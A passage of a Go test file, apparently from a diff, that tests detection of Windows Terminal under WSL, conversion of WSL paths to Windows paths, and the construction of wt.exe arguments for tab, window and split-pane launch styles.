first entry = %q; want %q", terms[0].Name, termWindowsTerminal) + } +} + +// --------------------------------------------------------------------------- +// DefaultTerminal — WSL awareness +// --------------------------------------------------------------------------- + +func TestDefaultTerminal_WSL_PrefersWindowsTerminal(t *testing.T) { + skipUnlessWSLWithWT(t) + + term := DefaultTerminal() + if term != termWindowsTerminal { + t.Errorf("DefaultTerminal() in WSL = %q; want %q", term, termWindowsTerminal) + } +} + +// --------------------------------------------------------------------------- +// DetectTerminals — WSL awareness (public API) +// --------------------------------------------------------------------------- + +func TestDetectTerminals_WSL_NonEmpty(t *testing.T) { + skipUnlessWSLWithWT(t) + + terms := DetectTerminals() + if len(terms) == 0 { + t.Fatal("DetectTerminals() returned no terminals in WSL") + } +} + +func TestDetectTerminals_WSL_IncludesWindowsTerminal(t *testing.T) { + skipUnlessWSLWithWT(t) + + terms := DetectTerminals() + found := false + for _, ti := range terms { + if ti.Name == termWindowsTerminal { + found = true + break + } + } + if !found { + t.Error("DetectTerminals() in WSL with wt.exe should include Windows Terminal") + } +} + +// --------------------------------------------------------------------------- +// wslToWindowsPath +// --------------------------------------------------------------------------- + +func TestWslToWindowsPath(t *testing.T) { + skipUnlessWSL(t) + + winPath, err := wslToWindowsPath("/mnt/c/Users") + if err != nil { + t.Fatalf("wslToWindowsPath(/mnt/c/Users) error: %v", err) + } + if !strings.HasPrefix(winPath, "C:\\") { + t.Errorf("wslToWindowsPath(/mnt/c/Users) = %q; want prefix C:\\", winPath) + } +} + +func TestWslToWindowsPath_HomePath(t *testing.T) { + skipUnlessWSL(t) + + home, err := os.UserHomeDir() + if err != nil { + t.Skipf("cannot determine home directory: %v", err) + } + + winPath, pathErr := wslToWindowsPath(home) + if pathErr != nil { + t.Fatalf("wslToWindowsPath(%q) error: %v", home, pathErr) + } + // wslpath should return a path containing a backslash (Windows path) + // or a \\wsl.localhost\ prefix for WSL-native paths. + if winPath == "" { + t.Errorf("wslToWindowsPath(%q) returned empty string", home) + } +} + +// --------------------------------------------------------------------------- +// launchWSLWindowsTerminal argument construction — launch styles +// --------------------------------------------------------------------------- + +// TestBuildWSLWTArgs_TabMode verifies that the WSL Windows Terminal launch +// constructs correct wt.exe arguments for tab mode (default). +func TestBuildWSLWTArgs_TabMode(t *testing.T) { + skipUnlessWSLWithWT(t) + + shell := ShellInfo{Name: "bash", Path: "/bin/bash"} + err := launchLinuxSession(shell, "echo test", termWindowsTerminal, "", "", "") + if err != nil && strings.Contains(err.Error(), "no supported terminal emulator found") { + t.Error("launchLinuxSession with Windows Terminal in WSL fell through to 'no terminal' error") + } +} + +func TestBuildWSLWTArgs_LaunchStyles(t *testing.T) { + shell := ShellInfo{Name: "bash", Path: "/bin/bash"} + + tests := []struct { + name string + launchStyle string + paneDirection string + wantPrefix []string + }{ + {"default_tab", "", "", []string{"-w", "0", "new-tab"}}, + {"explicit_tab", LaunchStyleTab, "", []string{"-w", "0", "new-tab"}}, + {"window", LaunchStyleWindow, "", []string{"-w", "new", "new-tab"}}, + {"pane_auto", LaunchStylePane, "auto", []string{"-w", "0", "split-pane"}}, + {"pane_right", LaunchStylePane, "right", []string{"-w", "0", "split-pane", "--direction", "right"}}, + {"pane_down", LaunchStylePane, "down", []string{"-w", "0", "split-pane", "--direction", "down"}}, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + args := buildWSLWTArgs(shell, "echo test", "", "Ubuntu", tc.launchStyle, tc.paneDirection) + + // Verify the args start with the expected prefix. + if len(args) < len(tc.wantPrefix) { + t.Fatalf("args too short: got %v, want prefix %v", args, tc.wantPrefix) + } + for i, want := range tc.wantPrefix { + if args[i] != want { + t.Errorf("args[%d] = %q, want %q (full: %v)", i, args[i], want, args) + } + } + }) + } +} + +func TestBuildWSLWTArgs_WithCwd(t *testing.T) { + shell := ShellInfo{Name: "bash", Path: "/bin/bash"} + args := buildWSLWTArgs(shell, "echo test", `C:\Users\test`, "Ubuntu", "", "") + + sdIdx := -1 + for i, a := range args { + if a == "--startingDirectory" { + sdIdx = i + break + } + } + if sdIdx == -1 || sdIdx+1 >= len(args) { + t.Fatal("--startingDirectory not found in args") + } + if args[sdIdx+1] != `C:\Users\test` { + t.Errorf("startingDirectory = %q, want %q", args[sdIdx+1], `C:\Users\test`) + } +}